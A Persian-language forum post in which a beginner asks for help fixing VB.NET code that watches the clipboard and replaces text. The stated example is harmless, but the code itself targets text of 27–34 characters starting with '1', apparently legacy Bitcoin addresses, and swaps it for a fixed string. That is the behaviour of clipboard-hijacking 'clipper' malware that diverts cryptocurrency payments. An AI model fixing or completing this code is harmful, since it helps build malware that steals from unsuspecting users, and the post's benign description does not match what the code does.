جایگزین کردن متن کپی شده در حافظه

[ubites]

سلام به همه دوستان و اساتید گرامی!
من دارم روی یک برنامه کوچیک کار میکنم که کارش اینطوریه که Length متن کپی شده در کلیپ بورد (clipboard) رو بررسی میکنه و اگه اندازه مورد نظر بود اونو با متن دلخواه جایگزین کنه!

مثلا اگر من عبارت salam رو کپی کردم برنامه بیاد ببینه اگه تعداد کاراکتر هاش 4 تاس عبارت test رو جایگزین salam در clipboard بکنه!اگر هم کمتر یا بیشتر بود کاری باهاش نداشته باشه!

من برنامه نویسیم خیلی در حد مبتدیه و این کدو نوشتم بدون اشکال اجرا میشه ولی جواب نمیده!

Private Sub Timer_Timer()

 If My.Computer.Clipboard.ContainsText() Then

 Dim adr As String

 adr = My.Computer.Clipboard.GetText

If adr.Length = "34" Or adr.Length = "33" Or adr.Length = "32" Or adr.Length = "31" Or adr.Length = "30" Or adr.Length = "29" Or adr.Length = "28" Or adr.Length = "27" Then

If adr.Substring(0, 1) = "1" Then

                        My.Computer.Clipboard.SetText ("Adresse 1")

                    End If

                End If

            End If

End Sub

اشکالش کجاعه؟
ممنون میشم راهنماییم کنید!